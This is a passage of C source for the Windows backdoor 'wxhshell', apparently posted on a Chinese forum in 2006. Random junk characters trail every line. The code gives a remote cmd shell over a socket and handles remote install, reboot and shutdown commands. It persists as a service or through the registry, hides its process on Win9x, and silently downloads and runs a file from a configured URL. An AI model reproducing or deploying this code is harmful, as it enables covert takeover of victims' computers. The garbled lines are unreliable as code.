    switch(cmd[0]) { hBE>ea  
  []!r|R3  
  // 帮助 YY~=h5$  
  case '?': { `#8R+c=$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OT3;qT*fw  
    break; M #&L@fg!  
  } c!^}!32j)  
  // 安装 \o)4m[oF  
  case 'i': { mM{v>Em2K#  
    if(Install()) ~Fb?h%w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); swL|Ff`$  
    else k\%v;3nBK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <uwCP4E  
    break; g9Gy3zk=  
    } r$Qh`[<  
  // 卸载 K)\gbQ|  
  case 'r': { m9c T}x&j  
    if(Uninstall()) r['C.S6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6|cl`}g_j  
    else t3g! 5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i4rF~'h@  
    break; + qqN  
    } VVl-cU  
  // 显示 wxhshell 所在路径 NWK_(=n  
  case 'p': { ,x.)L=Cx8  
    char svExeFile[MAX_PATH]; A_|FsQ6$P  
    strcpy(svExeFile,"\n\r"); ta., 4R&K  
      strcat(svExeFile,ExeFile);  F]#fl%  
        send(wsh,svExeFile,strlen(svExeFile),0); gSYX@'Q!  
    break; h18y?e7MU  
    } U/o}{,$A  
  // 重启 Nb/%>3O@  
  case 'b': { fEv36xb2S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :ygz/L  
    if(Boot(REBOOT)) !T . @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vGT.(:\-,  
    else { >{Z=cv/6o  
    closesocket(wsh); ITlkw~'G  
    ExitThread(0); YH9] T,  
    } }8#Czo jt  
    break; w/6@R 4)p  
    } hAyPaS#  
  // 关机 lIP<`6=4  
  case 'd': { IuW10}"9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *G41%uz  
    if(Boot(SHUTDOWN)) x's-UO"^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UdJV;T'rm  
    else { |h/2'zd^-  
    closesocket(wsh); ,0~TvJS  
    ExitThread(0); SH|$Dg  
    } /z:K#  
    break; kq0m^`  
    } %WN2 xCSf  
  // 获取shell !;Nh7vG  
  case 's': { 7*"LW  
    CmdShell(wsh); qG]PUc>j  
    closesocket(wsh); e|yuPd  
    ExitThread(0); I0RWdOK8K  
    break; *$D-6}Oay  
  } Ngnjr7Q={T  
  // 退出 nB& 8=.  
  case 'x': { 5wX>PJS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `,d7_#9'  
    CloseIt(wsh); ?s33x#  
    break; gwNkjI= ,  
    } pj]<i.p  
  // 离开 +(%[fW  
  case 'q': { 3: Uik  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O_^h 7   
    closesocket(wsh); >O~5s.1u  
    WSACleanup(); nVzo=+Yp  
    exit(1);  V}qmH2h  
    break; Dm#k-y  
        } BUyA]  
  } --kK<9J7  
  } sKO ;p  
)zo ;r!eP  
  // 提示信息 '%N)(S`O7P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KL4/"$l]  
} Q@n kT1o  
  } "g-NUl`'  
!&[4T#c  
  return; X2v'9 x  
} z?,5v`,t2  
<b I,y_<K  
// shell模块句柄 7<D_ h/WV  
int CmdShell(SOCKET sock) &)-?=M  
{ H #_Z6J  
STARTUPINFO si; 7l3q~dQ  
ZeroMemory(&si,sizeof(si)); q =6 Y2Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7i.aZ2a%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sSUd;BYf  
PROCESS_INFORMATION ProcessInfo; aDuanGC/V  
char cmdline[]="cmd"; B!@0(A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pdSyx>rJ  
  return 0; *gVv74;;  
} ez{&Y>n  
n} {cs  
// 自身启动模式 Sdp1h0E}7=  
int StartFromService(void) M.xEiHz  
{ cqudF=q  
typedef struct rY}ofq7b  
{ p~IvkW>ln)  
  DWORD ExitStatus; )A%Y wI$  
  DWORD PebBaseAddress; G>x0}c  
  DWORD AffinityMask; ~55>uw<  
  DWORD BasePriority; 'oG'`ED"  
  ULONG UniqueProcessId; e-mlvi^-  
  ULONG InheritedFromUniqueProcessId; fp0Va!T(V  
}   PROCESS_BASIC_INFORMATION; pG&.Ye]j  
:%{7Q$Xv<  
PROCNTQSIP NtQueryInformationProcess; Kl?1)u3^4  
{NR~>=~K-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7~'@m(9e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G<'S  
Za w+  
  HANDLE             hProcess; X!Q"p$D4(  
  PROCESS_BASIC_INFORMATION pbi; h 8s*FI  
u2QJDLMJv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J++D\x#@  
  if(NULL == hInst ) return 0; )Pq.kn{Sp  
K4BMa]/U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S[M$>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \X!!(Z;6A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0W> ",2|z  
;q Z2V  
  if (!NtQueryInformationProcess) return 0; K#jm6Xh?E  
t&_lpffv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^^#A9AM  
  if(!hProcess) return 0; vs~*=d27Pf  
lxZXz JkqZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dImm},  
=E}/Z  
  CloseHandle(hProcess); v;S JgZK  
8J} J;Ga  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M4| L  
if(hProcess==NULL) return 0; Sc&_6} K  
*3|KbCX  
HMODULE hMod; NQmDm!-4  
char procName[255]; zx27aZ[  
unsigned long cbNeeded; 3?:}lY<,  
Eq t61O$x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dSbV{*B;>  
-t]0DsPg  
  CloseHandle(hProcess); g:HIiGN0Ic  
2sngi@\  
if(strstr(procName,"services")) return 1; // 以服务启动 P+[R0QS  
8MIHp[vm%  
  return 0; // 注册表启动 Ne%X:h  
} WVZ\4y  
n):VuOjm  
// 主模块 Ap/WgVw;  
int StartWxhshell(LPSTR lpCmdLine) D+OkD-8q  
{ gIeo7>u  
  SOCKET wsl; [eImP V]  
BOOL val=TRUE; ~1p f ?  
  int port=0; 3XIxuQwf  
  struct sockaddr_in door; [*fnTy  
t1kD5^  
  if(wscfg.ws_autoins) Install(); ||qW'kNWM  
?G@%haqn6  
port=atoi(lpCmdLine); ;Bm{_$hf=  
IcB>Hg5  
if(port<=0) port=wscfg.ws_port; \a<E3 <  
AK[c!mzx  
  WSADATA data; 52oR^ |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]BA8[2=m  
'2NeuK-KD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   --FvE|I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yDPek*#^"q  
  door.sin_family = AF_INET; /)~M cP3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bz1\EkLL  
  door.sin_port = htons(port); bkb}M)C  
E>&dG:3no  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q;rU}hAzG0  
closesocket(wsl); ^VA)vLj@  
return 1; I)clGMS,  
} 7\.5G4dr%  
[* Lh4K  
  if(listen(wsl,2) == INVALID_SOCKET) { S5j#&i  
closesocket(wsl); + EM '-  
return 1; 7Ev~yY;N  
} d%WFgf}  
  Wxhshell(wsl); >6Q-e$GS@  
  WSACleanup(); uy$o%NL-7  
_$r+*nGDz  
return 0; d< y B ~Y  
fSj^/>  
} f.!cR3XgV  
74Lq!e3hMF  
// 以NT服务方式启动 h-<+Pjc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qu?D`29  
{ t JJaIb6Xj  
DWORD   status = 0; 5z0SjQ  
  DWORD   specificError = 0xfffffff; by- B).7  
U@H SU%H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q.x3_+CX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x,n;GR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8E D6C"6  
  serviceStatus.dwWin32ExitCode     = 0; wuPx6hCl  
  serviceStatus.dwServiceSpecificExitCode = 0; \5Hfe;ny-~  
  serviceStatus.dwCheckPoint       = 0; +?%huJYK,  
  serviceStatus.dwWaitHint       = 0; W )\~T:Kn  
(|W@p\Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GZse8ng  
  if (hServiceStatusHandle==0) return; K1Uur>Pk%  
1g *4e  
status = GetLastError(); J 9z\ qTI  
  if (status!=NO_ERROR) bEM-^SR  
{ h 9No'!'!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a4c~ThbI  
    serviceStatus.dwCheckPoint       = 0; l/SbJrM*  
    serviceStatus.dwWaitHint       = 0; Kpg]b"9.R  
    serviceStatus.dwWin32ExitCode     = status; |@Bl?Bs+  
    serviceStatus.dwServiceSpecificExitCode = specificError; (%tKGeb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vFQ'sd]C  
    return; b?y3m +V`  
  } +g(QF   
>xT8[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -e30!A  
  serviceStatus.dwCheckPoint       = 0; tv5SQ+AI3  
  serviceStatus.dwWaitHint       = 0; G"wy?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [8<)^k  
} iJU]|t  
O3Yv ->#  
// 处理NT服务事件,比如:启动、停止 XJGOX n$/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7Y:1ji0l  
{ d&F8nBIM5  
switch(fdwControl) ~i(X{ ^,3  
{ ~qs 97'  
case SERVICE_CONTROL_STOP: 4\>Cnc{  
  serviceStatus.dwWin32ExitCode = 0; O",:0<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3#W>  
  serviceStatus.dwCheckPoint   = 0; b3W@{je  
  serviceStatus.dwWaitHint     = 0; 0m!+gZ@  
  { N\rbnr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _8S!w>$)  
  } P/4]x@{ih  
  return; [*@"[u   
case SERVICE_CONTROL_PAUSE: 4;x{@Ln  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UE5T%zd/  
  break; S-*4HV_l  
case SERVICE_CONTROL_CONTINUE: tAefBFu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SZNM$X|T  
  break; Eb[*nWF=  
case SERVICE_CONTROL_INTERROGATE: Tm qtj  
  break; `|[Q]+Mx  
}; u`3J2 ,.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y$shn]~  
} V|)3l7IC<  
(i1 ]+.  
// 标准应用程序主函数 ,F]Y,"x:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YP/BX52 v  
{ 6Gwk*%sb  
h,45-#+  
// 获取操作系统版本 `$7. (.#s  
OsIsNt=GetOsVer(); uPhFBD7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :>]= YE  
4u0=/pfi[  
  // 从命令行安装 Z  G3u  
  if(strpbrk(lpCmdLine,"iI")) Install(); ihdN{Mx<2  
Y:XE4v/)@L  
  // 下载执行文件 /0IvvD!7N  
if(wscfg.ws_downexe) { nD6NLV%2x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wknX\,`Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); S{&,I2aO  
} `{#0C-  
CNwIM6t  
if(!OsIsNt) { . _Bejh  
// 如果时win9x,隐藏进程并且设置为注册表启动 *F[@lY\p  
HideProc();  R5(<:]  
StartWxhshell(lpCmdLine); !`JaYUL[e  
} v'mRch)d  
else [> Q+=(l  
  if(StartFromService()) u1R_u9  
  // 以服务方式启动 x\T 9V~8a  
  StartServiceCtrlDispatcher(DispatchTable); ],V_"\ATD  
else OrNi<TY>  
  // 普通方式启动 ~bC{ R&p  
  StartWxhshell(lpCmdLine); Yi1lvB?m  
]3nka$wA*  
return 0; .5 Sw  
}
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只看该作者 1 发表于: 2006-10-10
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